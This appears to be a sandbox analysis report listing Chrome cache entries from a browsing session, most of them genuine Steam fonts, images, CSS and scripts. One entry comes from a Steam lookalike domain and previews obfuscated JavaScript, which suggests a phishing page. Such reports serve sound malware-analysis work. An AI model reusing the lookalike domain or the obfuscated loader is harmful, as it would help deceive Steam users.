Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	downloaded
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e0801585d020440.js
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	122660
Entropy (8bit):	6.047516179670634
Encrypted:	false
SSDEEP:	3072:XnN/O/ceJkGwg/MOAibD2hPfX4HYhDhudcvObkSafj9:9/O/ceJkGwg/MOAib6nX44NhIWOb8fh
MD5:	D45F521DBA72B19A4096691A165B1990
SHA1:	2A08728FBB9229ACCCBF907EFDF4091F9B9A232F
SHA-256:	6B7A3177485C193A2E80BE6269B6B12880E695A8B4349F49FCCF87F9205BADCC
SHA-512:	9262847972A50F0CF8FC4225C6E9A72DBF2C55CCBCC2A098B7F1A5BD9EA87502F3C495A0431373A3C20961439D2DAE4AF1B1DA5B9FADE670D7FCAED486831D8C
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..n)...l..ujGSUB.d....v.....OS/2t.....\|...`cmap.d..........cvt F).....d....fpgm.6!....,....gasp.......\....glyf...d...l....head...A...$...6hhea...+...\...$hmtxv.x.........loca..g....h....maxp........... name.\....0....post............prep.......D...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&l=english
Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/account/redeem_wallet_complete_popup.png
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33710
Entropy (8bit):	5.264310636694312
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJTJZJD:FpP1vZRU
MD5:	2403599F0862AAFC52987F7464DB71EC
SHA1:	65D55AEF66A47E8A34CE278AE326C06EB333BA36
SHA-256:	0B191515A4301F229DE9EE09990FF1CCF4ED8F44E79A19CBCE79AB067FE0C113
SHA-512:	F23C94EF28064A3C592D5D45FE87E1A748BB247769BA81B78898613A88E9180B64C5D90453717D45995E51574E6FB8B231B3D3F225720D7DAAB37E0EFFF33EAE
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/dynamicstore.js?v=fz6Sv1tbS3ZE&l=english
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	downloaded
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/appleappstore/apple_store_english.png
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=690, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=2038], baseline, precision 8, 1600x690, components 3
Category:	downloaded
Size (bytes):	50887
Entropy (8bit):	6.852179144698946
Encrypted:	false
SSDEEP:	1536:lqA5Kl4nn9bogS73BTeo7xk884jtUUit4cs114:44nn9bRSzBeU84uL4w
MD5:	9B4B2EBBB01BE5C4CFE1FCBDD9DA0EF0
SHA1:	8D17A27B2268930B4EC86C56F9CD0C73CE18FF7C
SHA-256:	AEACBF69F083C220DA60B8994C08CF8CD1505A62A0DF5A7C0A9AA4F258BAB1E7
SHA-512:	0A15B6E53C85E193BAA7618AB0FF50AFE764E613B9D02EADA43DA6BA23EFB7A845E2A39561F935EC5247D4FBCADAD1390BE91AD10EF913E502BA68879CED53D2
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/blue_body_top.jpg?v=2
Preview:	......Exif..II.......................................................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop CS6 (Windows).2014:08:01 14:57:41.............0221....................@...........................................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................E...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...#5...N.)Z.....ad.I'-RI.$..I2t..R.!H$.mS.!H$.A:d.R.Az+.^.R...+6*.(.......#5..

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
